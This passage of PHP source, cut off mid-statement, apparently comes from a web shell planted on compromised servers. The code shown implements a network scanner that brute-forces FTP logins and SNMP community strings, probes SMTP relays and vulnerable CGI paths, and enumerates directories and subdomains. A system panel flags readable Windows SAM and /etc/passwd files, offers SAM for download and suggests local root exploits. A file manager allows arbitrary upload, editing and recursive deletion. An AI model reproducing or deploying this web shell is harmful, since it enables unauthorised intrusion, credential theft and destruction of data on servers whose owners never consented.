  506. $users=array('adm','bin','daemon','ftp','guest','listen','lp','mysql','noaccess','nobody','nobody4','nuucp','operator','root','smmsp','smtp','sshd','sys','test','unknown','uucp','web','www');
  507. $nuke=array('/','/postnuke/','/postnuke/html/','/modules/','/phpBB/','/forum/');
  508. $cgi=array('/cgi.cgi/','/webcgi/','/cgi-914/','/cgi-915/','/bin/','/cgi/','/mpcgi/','/cgi-bin/','/ows-bin/','/cgi-sys/','/cgi-local/','/htbin/','/cgibin/','/cgis/','/scripts/','/cgi-win/','/fcgi-bin/','/cgi-exe/','/cgi-home/','/cgi-perl/');
  509. foreach($file as $v){
  510. $vuln=array();
  511. $v=trim($v);
  512. if(!$v || $v{0}=='#')continue;
  513. $v=str_replace('","','^',$v);
  514. $v=str_replace('"','',$v);
  515. $vuln=explode('^',$v);
  516. $page=$cqich=$nukech=$adminch=$userch=$vuln[1];
  517. if(strstr($page,'@CGIDIRS'))
  518. foreach($cgi as $cg){
  519. $cqich=str_replace('@CGIDIRS',$cg,$page);
  520. $url="http://$ip$cqich";
  521. $res=check_urL($url,$vuln[3],$vuln[2],$timeout);
  522. if($res){$output=1;echo "$ip)".$vuln[4]." <a href='$url' target='_blank'>$url</a><br>";}
  523. }
  524. elseif(strstr($page,'@ADMINDIRS'))
  525. foreach($admin as $cg){
  526. $adminch=str_replace('@ADMINDIRS',$cg,$page);
  527. $url="http://$ip$adminch";
  528. $res=check_urL($url,$vuln[3],$vuln[2],$timeout);
  529. if($res){$output=1;echo "$ip)".$vuln[4]." <a href='$url' target='_blank'>$url</a><br>";}
  530. }
  531. elseif(strstr($page,'@USERS'))
  532. foreach($users as $cg){
  533. $userch=str_replace('@USERS',$cg,$page);
  534. $url="http://$ip$userch";
  535. $res=check_urL($url,$vuln[3],$vuln[2],$timeout);
  536. if($res){$output=1;echo "$ip)".$vuln[4]." <a href='$url' target='_blank'>$url</a><br>";}
  537. }
  538. elseif(strstr($page,'@NUKE'))
  539. foreach($nuke as $cg){
  540. $nukech=str_replace('@NUKE',$cg,$page);
  541. $url="http://$ip$nukech";
  542. $res=check_urL($url,$vuln[3],$vuln[2],$timeout);
  543. if($res){$output=1;echo "$ip)".$vuln[4]." <a href='$url' target='_blank'>$url</a><br>";}
  544. }
  545. else{
  546. $url="http://$ip$page";
  547. $res=check_urL($url,$vuln[3],$vuln[2],$timeout);
  548. if($res){$output=1;echo "$ip)".$vuln[4]." <a href='$url' target='_blank'>$url</a><br>";}
  549. }
  550. }
  551. }
  552. }
  553. if(!empty($_REQUEST['smtprelay'])){
  554. if(checkthisporT($ip,25,$timeout)){
  555. $res='';
  556. $res=checksmtP($ip,$timeout);
  557. if($res==1){echo "$ip) SMTP relay found.<br>";$output=1;}
  558. }
  559. }
  560. if(!empty($_REQUEST['snmpscanner'])){
  561. if(checkthisporT($ip,161,$timeout,1)){
  562. $com=$_REQUEST['com'];
  563. $coms=$res='';
  564. if(strstr($com,','))$c=explode(',',$com);else $c[0]=$com;
  565. foreach($c as $v){
  566. $ret=snmpchecK($ip,$v,$timeout);
  567. if($ret)$coms.=" $v ";
  568. }
  569. if($coms!=''){echo "$ip) SNMP FOUND: $coms<br>";$output=1;}
  570. }
  571. }
  572. if(!empty($_REQUEST['ftpscanner']) && function_exists('ftp_connect')){
  573. if(checkthisporT($ip,21,$timeout)){
  574. $usps=explode(',',$_REQUEST['userpass']);
  575. foreach($usps as $v){
  576. $user=substr($v,0,strpos($v,':'));
  577. $pass=substr($v,strpos($v,':')+1);
  578. if($pass=='[BLANK]')$pass='';
  579. $ftp=ftp_connect($ip,21,$timeout);
  580. if($ftp){
  581. if(ftp_login($ftp,$user,$pass)){$output=1;echo "$ip) FTP FOUND: ($user:$pass) System type: ".ftp_systype($ftp)." (<b><a href='";echo hlinK("seC=ftpc&workingdiR=".getcwd()."&hosT=$ip&useR=$user&pasS=$pass");echo "' target='_blank'>Connect</a></b>)<br>";}
  582. }
  583. }
  584. }
  585. }
  586. if($output)echo '<hr size=1 noshade>';
  587. }
  588. $time=time()-$start;
  589. echo "Done! ($time seconds)</font>";
  590. if(!empty($buglist))unlink($buglist);
  591. }
  592. elseif(!empty($_REQUEST['directoryscanner'])){
  593. $dir=file($_REQUEST['dic']);$host=$_REQUEST['host'];$r=$_REQUEST['r1'];
  594. echo "<font color=blue><pre>Scanning started...\n";
  595. for($i=0;$i<count($dir);$i++){
  596. $d=trim($dir[$i]);
  597. if($r){
  598. $adr="http://$host/$d/";
  599. if(check_urL($adr,'GET','302')){echo "Directory Found: <a href='$adr' target='_blank'>$adr</a>\n";}
  600. }else{
  601. $adr="$d.$host";
  602. $ip=gethostbyname($adr);
  603. if($ip!=$adr){echo "Subdomain Found: <a href='http://$adr' target='_blank'>$adr($ip)</a>\n";}
  604. }
  605. }
  606. echo 'Done!</pre></font>';
  607. }
  608. else{
  609. $t="<br><table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='50%'><tr><form method='POST'";
  610. $chbox=(extension_loaded('sockets'))?"<input type=checkbox style='border-width:1px;background-color:#808080;' name=tcp value=1 checked>TCP<input type=checkbox name=udp style='border-width:1px;background-color:#808080;' value=1 checked>UDP":"<input type=hidden name=tcp value=1>";
  611. echo "<center>$t><td>Port scanner:</td></tr><td width='25%' bgcolor='#808080'>Target:</td><td bgcolor='#808080' width=80%><input name=target value=$host size=40></td></tr><tr><td bgcolor='#666666' width=25%>From:</td><td bgcolor='#666666' width=25%><input name=fromport type=text value='1' size=5></td></tr><tr><td bgcolor='#808080' width=25%>To:</td><td bgcolor='#808080' width=25%><input name=toport type=text value='1024' size=5></td></tr><tr><td width='25%' bgcolor='#666666'>Timeout:</td><td bgcolor='#666666'><input name=timeout type=text value='2' size=5></td><tr><td width='25%' bgcolor='#808080'>$chbox</td><td bgcolor='#808080' align='right'>$hcwd<input type=submit class=buttons name=portscanner value=Scan></form>$et$t><td>Discoverer:</td></tr><tr><td width='25%' bgcolor='#808080'>Host:</td><td bgcolor='#808080' width=80%><input name=host value='".$_SERVER["HTTP_HOST"]."' size=40></td><td bgcolor='#808080'></td></tr><tr><td width='25%' bgcolor='#666666'>Dictionary:</td><td bgcolor='#666666' width=80%><input name=dic size=40></td><td bgcolor='#666666'></td></tr><tr><td width='25%' bgcolor='#808080'>Search for:</td><td bgcolor='#808080' width=40%><input type=radio value=1 checked name=r1>Directories<input type=radio name=r1 value=0>Subdomains</td><td bgcolor='#808080' align='right' width=40%><input type=submit class=buttons name=directoryscanner value=Scan></td></form></tr></table>";
  612. $host=substr($host,0,strrpos($host,"."));
  613. echo "$t name=security><td>Security scanner:</td></tr><td width='25%' bgcolor='#808080'>From:</td><td bgcolor='#808080' width=80%><input name=from value=$host.1 size=40> <input type=checkbox value=1 style='border-width:1px;background-color:#808080;' name=nslookup checked>NS lookup</td></tr><tr><td bgcolor='#666666' width=25%>To:</td><td bgcolor='#666666' width=25%>xxx.xxx.xxx.<input name=to type=text value=254 size=4>$hcwd</td></tr><tr><td width='25%' bgcolor='#808080'>Timeout:</td><td bgcolor='#808080'><input name=timeout type=text value='2' size=5></td></tr><tr><td width='25%' bgcolor='#666666'><input type=checkbox name=ipscanner value=1 checked onClick='document.security.port.disabled = !document.security.port.disabled;' style='border-width:1px;background-color:#666666;'>Port scanner:</td><td bgcolor='#666666'><input name=port type=text value='21,23,25,80,110,135,139,143,443,445,1433,3306,3389,8080,65301' size=60></td></tr><tr><td width='25%' bgcolor='#808080'><input type=checkbox name=httpbanner value=1 checked style='border-width:1px;background-color:#808080;'>Get web banner</td><td bgcolor='#808080'><input type=checkbox name=httpscanner value=1 checked style='border-width:1px;background-color:#808080;'>Webserver security scanning&nbsp;&nbsp;&nbsp;<input type=checkbox name=smtprelay value=1 checked style='border-width:1px;background-color:#808080;'>SMTP relay check</td></tr><tr><td width='25%' bgcolor='#666666'><input type=checkbox name=ftpscanner value=1 checked onClick='document.security.userpass.disabled = !document.security.userpass.disabled;' style='border-width:1px;background-color:#666666;'>FTP password:</td><td bgcolor='#666666'><input name=userpass type=text value='anonymous:admin@nasa.gov,ftp:ftp,Administrator:[BLANK],guest:[BLANK]' size=60></td></tr><tr><td width='25%' bgcolor='#808080'><input type=checkbox name=snmpscanner value=1 onClick='document.security.com.disabled = !document.security.com.disabled;' checked style='border-width:1px;background-color:#808080;'>SNMP:</td><td bgcolor='#808080'><input name=com type=text value='public,private,secret,cisco,write,test,guest,ilmi,ILMI,password,all private,admin,all,system,monitor,sun,agent,manager,ibm,hello,switch,solaris,OrigEquipMfr,default,world,tech,mngt,tivoli,openview,community,snmp,SNMP,none,snmpd,Secret C0de,netman,security,pass,passwd,root,access,rmon,rmon_admin,hp_admin,NoGaH$@!,router,agent_steal,freekevin,read,read-only,read-write,0392a0,cable-docsis,fubar,ANYCOM,Cisco router,xyzzy,c,cc,cascade,yellow,blue,internal,comcomcom,IBM,apc,TENmanUFactOryPOWER,proxy,core,CISCO,regional,1234,2read,4changes' size=60></td></tr><tr><td width='25%' bgcolor='#666666'></td><td bgcolor='#666666' align='right'><input type=submit class=buttons name=securityscanner value=Scan></form>$et";
  614. }
  615. }
  616. function sysinfO(){
  617. global $windows,$disablefunctions,$cwd,$safemode;
  618. $t8="<td width='25%' bgcolor='#808080'>";
  619. $t6="<td width='25%' bgcolor='#666666'>";
  620. $mil="<a target='_blank' href='http://www.milw0rm.org/related.php?program=";
  621. $basedir=(ini_get('open_basedir') || strtoupper(ini_get('open_basedir'))=='ON')?'ON':'OFF';
  622. if(!empty($_SERVER['PROCESSOR_IDENTIFIER']))$CPU=$_SERVER['PROCESSOR_IDENTIFIER'];
  623. $osver=$tsize=$fsize='';
  624. $ds=implode(' ',$disablefunctions);
  625. if($windows){
  626. $osver='  ('.shelL('ver').')';
  627. $sysroot=shelL("echo %systemroot%");
  628. if(empty($sysroot))$sysroot=$_SERVER['SystemRoot'];
  629. if(empty($sysroot))$sysroot = getenv('windir');
  630. if(empty($sysroot))$sysroot = 'Not Found';
  631. if(empty($CPU))$CPU=shelL('echo %PROCESSOR_IDENTIFIER%');
  632. for($i=66;$i<=90;$i++){
  633. $drive=chr($i).':\\';
  634. if(is_dir($drive)){
  635. $fsize+=disk_free_space($drive);
  636. $tsize+=disk_total_space($drive);
  637. }
  638. }
  639. }else{
  640. $ap=shelL('whereis apache');
  641. if(!$ap)$ap='Unknow';
  642. $fsize=disk_free_space('/');
  643. $tsize=disk_total_space('/');
  644. }
  645. $xpl=rootxpL();if(!$xpl)$xpl='Not found.';
  646. $disksize='Used spase: '.showsizE($tsize-$fsize).' Free space: '.showsizE($fsize).' Total space: '.showsizE($tsize);
  647. if(empty($CPU))$CPU='Unknow';
  648. $os=php_uname();
  649. $osn=php_uname('s');
  650. if(!$windows){
  651. $ker=php_uname('r');
  652. $o=($osn=='Linux')?'Linux+Kernel':$osn;
  653. $os=str_replace($osn,"${mil}$o'>$osn</a>",$os);
  654. $os=str_replace($ker,"${mil}Linux+Kernel'>$ker</a>",$os);
  655. $inpa=':';
  656. }else{
  657. $sam=$sysroot."\\system32\\config\\SAM";
  658. $inpa=';';
  659. $os=str_replace($osn,"${mil}MS+Windows'>$osn</a>",$os);
  660. }
  661. $cuser=get_current_user();
  662. if(!$cuser)$cuser='Unknow';
  663. $software=str_replace('Apache',"${mil}Apache'>Apache</a>",$_SERVER['SERVER_SOFTWARE']);
  664. echo "<table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='100%'><tr><td>Server information:</td></tr><tr>${t6}Server:</td><td bgcolor='#666666'>".$_SERVER['HTTP_HOST'];if(!empty($_SERVER["SERVER_ADDR"])){ echo "(". $_SERVER["SERVER_ADDR"] .")";}echo "</td></tr><tr>${t8}Operation system:</td><td bgcolor='#808080'>$os$osver</td></tr><tr>${t6}Web server application:</td><td bgcolor='#666666'>$software</td></tr><tr>${t8}CPU:</td><td bgcolor='#808080'>$CPU</td></tr>${t6}Disk status:</td><td bgcolor='#666666'>$disksize</td></tr><tr>${t8}User domain:</td><td bgcolor='#808080'>";if (!empty($_SERVER['USERDOMAIN'])) echo $_SERVER['USERDOMAIN'];else echo "Unknow"; echo "</td></tr><tr>${t6}User name:</td><td bgcolor='#666666'>$cuser</td></tr>";
  665. if($windows){
  666. echo "<tr>${t8}Windows directory:</td><td bgcolor='#808080'><a href='".hlinK("seC=fm&workingdiR=$sysroot")."'>$sysroot</a></td></tr><tr>${t6}Sam file:</td><td bgcolor='#666666'>";if(is_readable(($sam)))echo "<a href='".hlinK("?workingdiR=$sysroot\\system32\\config&downloaD=sam")."'>Readable</a>"; else echo 'Not readable';echo '</td></tr>';
  667. }
  668. else
  669. {
  670. echo "<tr>${t8}UID - GID:</td><td bgcolor='#808080'>".getmyuid().' - '.getmygid()."</td></tr><tr>${t6}Recommended local root exploits:</td><td bgcolor='#666666'>$xpl</td></tr><tr>${t8}Passwd file:</td><td bgcolor='#808080'>";
  671. if(is_readable('/etc/passwd'))echo "<a href='".hlinK("seC=edit&filE=/etc/passwd&workingdiR=$cwd")."'>Readable</a>";else echo'Not readable';echo "</td></tr><tr>${t6}${mil}cpanel'>cPanel</a>:</td><td bgcolor='#666666'>";$cp='/usr/local/cpanel/version';$cv=(file_exists($cp) && is_writable($cp))?trim(file_get_contents($cp)):'Unknow';echo "$cv (Log file: ";
  672. if(file_exists('/var/cpanel/accounting.log')){if(is_readable('/var/cpanel/accounting.log'))echo "<a href='".hlinK("seC=edit&filE=/var/cpanel/accounting.log&workingdiR=$cwd")."'>Readable</a>";else echo 'Not readable';}else echo 'Not found';echo ')</td></tr>';
  673. }
  674. echo "<tr>$t8${mil}PHP'>PHP</a> version:</td><td bgcolor='#808080'><a href='?=".php_logo_guid()."' target='_blank'>".PHP_VERSION."</a> (<a href='".hlinK("seC=phpinfo&workingdiR=$cwd")."'>more...</a>)</td></tr><tr>${t6}Zend version:</td><td bgcolor='#666666'>";if (function_exists('zend_version')) echo "<a href='?=".zend_logo_guid()."' target='_blank'>".zend_version().'</a>';else echo 'Not Found';echo "</td><tr>${t8}Include path:</td><td bgcolor='#808080'>".str_replace($inpa,' ',DEFAULT_INCLUDE_PATH)."</td><tr>${t6}PHP Modules:</td><td bgcolor='#666666'>";$ext=get_loaded_extensions();foreach($ext as $v){$i=phpversion($v);if(!empty($i))$i="($i)";$l=hlinK("exT=$v");echo "<a href='javascript:void(0)' onclick=\"window.open('$l','','width=300,height=200,scrollbars=yes')\">$v</a> $i ";}echo "</td><tr>${t8}Disabled functions:</td><td bgcolor='#808080'>";if(!empty($ds))echo "$ds ";else echo 'Nothing'; echo"</td></tr><tr>${t6}Safe mode:</td><td bgcolor='#666666'>$safemode</td></tr><tr>${t8}Open base dir:</td><td bgcolor='#808080'>$basedir</td></tr><tr>${t6}DBMS:</td><td bgcolor='#666666'>";$sq='';if(function_exists('mysql_connect')) $sq= "${mil}MySQL'>MySQL</a> ";if(function_exists('mssql_connect')) $sq.= " ${mil}MSSQL'>MSSQL</a> ";if(function_exists('ora_logon')) $sq.= " ${mil}Oracle'>Oracle</a> ";if(function_exists('sqlite_open')) $sq.= ' SQLite ';if(function_exists('pg_connect')) $sq.= " ${mil}PostgreSQL'>PostgreSQL</a> ";if(function_exists('msql_connect')) $sq.= ' mSQL ';if(function_exists('mysqli_connect'))$sq.= ' MySQLi ';if(function_exists('ovrimos_connect')) $sq.= ' Ovrimos SQL ';if ($sq=='') $sq= 'Nothing'; echo "$sq</td></tr></table>";
  675. }
  676. function checksuM($file){
  677. global $et;
  678. echo "<table border=0 style='border-collapse: collapse' width='100%'><tr><td width='10%' bgcolor='#666666'><b>MD5:</b> <font color=#F0F0F0>".md5_file($file).'</font><br><b>SHA1:</b><font color=#F0F0F0>'.sha1_file($file)."</font>$et";
  679. }
  680. function listdiR($cwd,$task){
  681. $c=getcwd();
  682. $dh=opendir($cwd);
  683. while($cont=readdir($dh)){
  684. if($cont=='.' || $cont=='..')continue;
  685. $adr=$cwd.DIRECTORY_SEPARATOR.$cont;
  686. switch($task){
  687. case '0':if(is_file($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";if(is_dir($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";break;
  688. case '1':if(is_writeable($adr)){if(is_file($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";if(is_dir($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";}break;
  689. case '2':if(is_file($adr) &&  is_writeable($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";break;
  690. case '3':if(is_dir($adr) && is_writeable($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";break;
  691. case '4':if(is_file($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";break;
  692. case '5':if(is_dir($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";break;
  693. case '6':if(preg_match('@'.$_REQUEST['search'].'@',$cont) || (is_file($adr) && preg_match('@'.$_REQUEST['search'].'@',file_get_contents($adr)))){if(is_file($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";if(is_dir($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";}break;
  694. case '7':if(strstr($cont,$_REQUEST['search']) || (is_file($adr) && strstr(file_get_contents($adr),$_REQUEST['search']))){if(is_file($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";if(is_dir($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";}break;
  695. case '8':{if(is_dir($adr))rmdir($adr);else unlink($adr);rmdir($cwd);break;}
  696. }
  697. if(is_dir($adr))listdiR($adr,$task);
  698. }
  699. }
  700. if(!checkfunctioN('posix_getpwuid')){function posix_getpwuid($u){return 0;}}
  701. if(!checkfunctioN('posix_getgrgid')){function posix_getgrgid($g){return 0;}}
  702. function filemanageR(){
  703. global $windows,$msgbox,$errorbox,$t,$et,$cwd,$hcwd;
  704. $table="<table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='100%'>";
  705. $td1n="<td width='22%' bgcolor='#666666'>";
  706. $td2m="<td width='22%' bgcolor='#808080'>";
  707. $td1i="<td width='5%' bgcolor='#666666'>";
  708. $td2i="<td width='5%' bgcolor='#808080'>";
  709. $tdnr="<td width='22%' bgcolor='#800000'>";
  710. $tdw="<td width='22%' bgcolor='#006E00'>";
  711. if(!empty($_REQUEST['task'])){
  712. if(!empty($_REQUEST['search']))$_REQUEST['task']=7;
  713. if(!empty($_REQUEST['re']))$_REQUEST['task']=6;
  714. echo '<font color=blue><pre>';
  715. listdiR($cwd,$_REQUEST['task']);
  716. echo '</pre></font>';
  717. }else{
  718. if(!empty($_REQUEST['cP']) || !empty($_REQUEST['mV']) || !empty($_REQUEST['rN'])){
  719. if(!empty($_REQUEST['cP']) || !empty($_REQUEST['mV'])){
  720. $title='Destination';
  721. $ad=(!empty($_REQUEST['cP']))?$_REQUEST['cP']:$_REQUEST['mV'];
  722. $dis=(!empty($_REQUEST['cP']))?'Copy':'Move';
  723. }else{
  724. $ad=$_REQUEST['rN'];
  725. $title='New name';
  726. $dis='Rename';
  727. }
  728. if(!!empty($_REQUEST['deS'])){
  729. echo "<center><table border=0 style='border-collapse: collapse' width='40%'><tr><td width='100%' bgcolor='#333333'>$title:</td></tr><tr>$td1n<form method='POST'><input type=text value='";if(empty($_REQUEST['rN']))echo $cwd;echo "' size=60 name=deS></td></tr><tr>$td2m$hcwd<input type=hidden value='".htmlspecialchars($ad)."' name=cp><input class=buttons type=submit value=$dis></form>$et</center>";
  730. }else{
  731. if(!empty($_REQUEST['rN']))rename($ad,$_REQUEST['deS']);
  732. else{
  733. copy($ad,$_REQUEST['deS']);
  734. if(!empty($_REQUEST['mV']))unlink($ad);
  735. }
  736. }
  737. }
  738. if(!empty($_REQUEST['deL'])){if(is_dir($_REQUEST['deL']))listdiR($_REQUEST['deL'],8);else unlink($_REQUEST['deL']);}
  739. if(!empty($_FILES['uploadfile'])){
  740. move_uploaded_file($_FILES['uploadfile']['tmp_name'],$_FILES['uploadfile']['name']);
  741. echo "$msgbox<b>Uploaded!</b> File name: ".$_FILES['uploadfile']['name']." File size: ".$_FILES['uploadfile']['size']. "$et<br>";
  742. }
  743. $select="<select onChange='document.location=this.options[this.selectedIndex].value;'><option value='".hlinK("seC=fm&workingdiR=$cwd")."'>--------</option><option value='";
  744. if(!empty($_REQUEST['newf'])){
  745. if(!empty($_REQUEST['newfile'])){file_put_contents($_REQUEST['newf'],'');}
  746. if(!empty($_REQUEST['newdir'])){mkdir($_REQUEST['newf']);}
  747. }
  748. if($windows){
  749. echo "$table<td><b>Drives:</b> ";
  750. for($i=66;$i<=90;$i++){$drive=chr($i).':';
  751. if(is_dir($drive."\\")){$vol=shelL("vol $drive");if(empty($vol))$vol=$drive;echo " <a title='$vol' href=".hlinK("seC=fm&workingdiR=$drive\\").">$drive\\</a>";}
  752. }
  753. echo $et;
  754. }
  755. echo "$table<form method='POST'><tr><td width='20%'><b>[ <a id='lk' style='text-decoration:none' href='#' onClick=\"HS('div');\">-</a> ] Location:</b><input type=text name=workingdiR size=135 value='$cwd'><input class=buttons type=submit value=Change></form>$et";
  756. $file=$dir=$link=array();
  757. if($dirhandle=opendir($cwd)){
  758. while($cont=readdir($dirhandle)){
  759. if(is_dir($cwd.DIRECTORY_SEPARATOR.$cont))$dir[]=$cont;
  760. elseif(is_file($cwd.DIRECTORY_SEPARATOR.$cont))$file[]=$cont;
  761. else $link[]=$cont;
  762. }
  763. closedir($dirhandle);
  764. sort($file);sort($dir);sort($link);
  765. echo "<div id='div'><table border=1 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bordercolor='#282828' bgcolor='#333333' width='100%'><tr><td width='30%' bgcolor='#333333' align='center'>Name</td><td width='13%' bgcolor='#333333' align='center'>Owner</td><td width='12%' bgcolor='#333333' align='center'>Modification time</td><td width='12%' bgcolor='#333333' align='center'>Last change</td><td width='5%' bgcolor='#333333' align='center'>Info</td><td width='7%' bgcolor='#333333' align='center'>Size</td><td width='15%' bgcolor='#333333' align='center'>Actions</td></tr>";
  766. $i=0;
  767. foreach($dir as $dn){
  768. echo '<tr>';
  769. $i++;
  770. $own='Unknow';
  771. $owner=posix_getpwuid(fileowner($dn));
  772. $mdate=date('Y/m/d H:i:s',filemtime($dn));
  773. $adate=date('Y/m/d H:i:s',fileatime($dn));
  774. $diraction=$select.hlinK('seC=fm&workingdiR='.realpath($dn))."'>Open</option><option value='".hlinK("seC=fm&workingdiR=$cwd&rN=$dn")."'>Rename</option><option value='".hlinK("seC=fm&deL=$dn&workingdiR=$cwd")."'>Remove</option></select></td>";
  775. if($owner)$own="<a title=' Shell: ".$owner['shell']."' href='".hlinK('seC=fm&workingdiR='.$owner['dir'])."'>".$owner['name'].'</a>';
  776. if(($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;}
  777. if(is_writeable($dn))echo $tdw;elseif(!is_readable($dn))echo $tdnr;else echo $cl2;
  778. echo "<a href='".hlinK('seC=fm&workingdiR='.realpath($dn))."'>";
  779. if(strlen($dn)>45)echo substr($dn,0,42).'...';else echo $dn;echo '</a>';
  780. echo $cl1."$own</td>";
  781. echo $cl1."$mdate</td>";
  782. echo $cl1."$adate</td>";
  783. echo "</td>$cl1";echo "<a href='#' onClick=\"javascript:chmoD('$dn')\" title='Change mode'>";echo 'D';if(is_readable($dn))echo 'R';if(is_writeable($dn))echo 'W';echo '</a></td>';
  784. echo "$cl1------</td>";
  785. echo $cl2.$diraction;
  786. echo '</tr>';
  787. }
  788. foreach($file as $fn){
  789. echo '<tr>';
  790. $i++;
  791. $own='Unknow';
  792. $owner=posix_getpwuid(fileowner($fn));
  793. $fileaction=$select.hlinK("seC=openit&namE=$fn&workingdiR=$cwd")."'>Open</option><option value='".hlinK("seC=edit&filE=$fn&workingdiR=$cwd")."'>Edit</option><option value='".hlinK("seC=fm&downloaD=$fn&workingdiR=$cwd")."'>Download</option><option value='".hlinK("seC=hex&filE=$fn&workingdiR=$cwd")."'>Hex view</option><option value='".hlinK("seC=img&filE=$fn&workingdiR=$cwd")."'>Image</option><option value='".hlinK("seC=inc&filE=$fn&workingdiR=$cwd")."'>Include</option><option value='".hlinK("seC=checksum&filE=$fn&workingdiR=$cwd")."'>Checksum</option><option value='".hlinK("seC=fm&workingdiR=$cwd&cP=$fn")."'>Copy</option><option value='".hlinK("seC=fm&workingdiR=$cwd&mV=$fn")."'>Move</option><option value='".hlinK("seC=fm&deL=$fn&workingdiR=$cwd")."'>Remove</option></select></td>";
  794. $mdate=date('Y/m/d H:i:s',filemtime($fn));
  795. $adate=date('Y/m/d H:i:s',fileatime($fn));
  796. if($owner)$own="<a title='Shell:".$owner['shell']."' href='".hlinK('seC=fm&workingdiR='.$owner['dir'])."'>".$owner['name'].'</a>';
  797. $size=showsizE(filesize($fn));
  798. if(($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;}
  799. if(is_writeable($fn))echo $tdw;elseif(!is_readable($fn))echo $tdnr;else echo $cl2;
  800. echo "<a href='".hlinK("seC=openit&namE=$fn&workingdiR=$cwd")."'>";
  801. if(strlen($fn)>45)echo substr($fn,0,42).'...';else echo $fn;echo '</a>';
  802. echo $cl1."$own</td>";
  803. echo $cl1."$mdate</td>";
  804. echo $cl1."$adate</td>";
  805. echo "</td>$cl1";echo "<a href='#' onClick=\"javascript:chmoD('$fn')\" title='Change mode'>";if(is_readable($fn))echo "R";if(is_writeable($fn))echo "W";if(is_executable($fn))echo "X";if(is_uploaded_file($fn))echo "U";echo "</a></td>";
  806. echo "$cl1$size</td>";
  807. echo $cl2.$fileaction;
  808. echo '</tr>';
  809. }
  810. foreach($link as $ln){
  811. $own='Unknow';
  812. $i++;
  813. $owner=posix_getpwuid(fileowner($ln));
  814. $linkaction=$select.hlinK("seC=openit&namE=$ln&workingdiR=$ln")."'>Open</option><option value='".hlinK("seC=edit&filE=$ln&workingdiR=$cwd")."'>Edit</option><option value='".hlinK("seC=fm&downloaD=$ln&workingdiR=$cwd")."'>Download</option><option value='".hlinK("seC=hex&filE=$ln&workingdiR=$cwd")."'>Hex view</option><option value='".hlinK("seC=img&filE=$ln&workingdiR=$cwd")."'>Image</option><option value='".hlinK("seC=inc&filE=$ln&workingdiR=$cwd")."'>Include</option><option value='".hlinK("seC=checksum&filE=$ln&workingdiR=$cwd")."'>Checksum</option><option value='".hlinK("seC=fm&workingdiR=$cwd&cP=$ln")."'>Copy</option><option value='".hlinK("seC=fm&workingdiR=$cwd&mV=$ln")."'>Move</option><option value='".hlinK("seC=fm&workingdiR=$cwd&rN=$ln")."'>Rename</option><option value='".hlinK("seC=fm&deL=$ln&workingdiR=$cwd")."'>Remove</option></select></td>";
  815. $mdate=date('Y/m/d H:i:s',filemtime($ln));
  816. $adate=date('Y/m/d H:i:s',fileatime($ln));
  817. if($owner)$own="<a title='Shell: ".$owner['shell']."' href='".hlinK('seC=fm&workingdiR='.$owner['dir'])."'>".$owner['name'].'</a>';
  818. echo '<tr>';
  819. $size=showsizE(filesize($ln));
  820. if(($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;}
  821. if(is_writeable($ln))echo $tdw;elseif(!is_readable($ln))echo $tdnr;else echo $cl2;
  822. echo "<a href='".hlinK("seC=openit&namE=$ln&workingdiR=$cwd")."'>";
  823. if(strlen($ln)>45)echo substr($ln,0,42).'...';else echo $ln;echo '</a>';
  824. echo $cl1."$own</td>";
  825. echo $cl1."$mdate</td>";
  826. echo $cl1."$adate</td>";
  827. echo "</td>${cl1}";echo "<a href='#' onClick=\"javascript:chmoD('$ln')\" title='Change mode'>L";if(is_readable($ln))echo "R";if (is_writeable($ln))echo "W";if(is_executable($ln))echo "X";echo "</a></td>";
  828. echo "$cl1$size</td>";
  829. echo $cl2.$linkaction;
  830. echo '</tr>';
  831. }
  832. }
  833. $dc=count($dir)-2;
  834. if($dc==-2)$dc=0;
  835. $fc=count($file);
  836. $lc=count($link);
  837. $total=$dc+$fc+$lc;
  838. $min=min(substr(ini_get('upload_max_filesize'),0,strpos(ini_get('post_max_size'),'M')),substr(ini_get('post_max_size'),0,strpos(ini_get('post_max_size'),'M'))).' MB';
  839. echo "</table></div>$table<tr><td><form method=POST>Find:<input type=text value=\$pass name=search><input type=checkbox name=re value=1 style='border-width:1px;background-color:#333333;'>Regular expressions <input type=submit class=buttons value=Find>$hcwd<input type=hidden value=7 name=task></form></td><td><form method=POST>$hcwd<input type=hidden value='fm' name=seC><select name=task><option value=0>Display files and directories in current folder</option><option value=1>Find writable files and directories in current folder</option><option value=2>Find writable files in current folder</option><option value=3>Find writable directories in current folder</option><option value=4>Display all files in current folder</option><option value=5>Display all directories in current folder</option></select><input type=submit class=buttons value=Do></form>$et</tr></table><table width='100%'><tr><td width='50%'><br><table bgcolor=#333333 border=0 width='65%'><td><b>Summery:</b>   Total: $total Directories: $dc Files: $fc Links: $lc$et<table bgcolor=#333333 border=0 width='65%'><td width='100%' bgcolor=";if (is_writeable($cwd)) echo '#006E00';elseif (!is_readable($cwd)) echo '#800000';else '#333333'; echo '>Current directory status: ';if (is_readable($cwd)) echo 'R';if (is_writeable($cwd)) echo 'W' ;echo 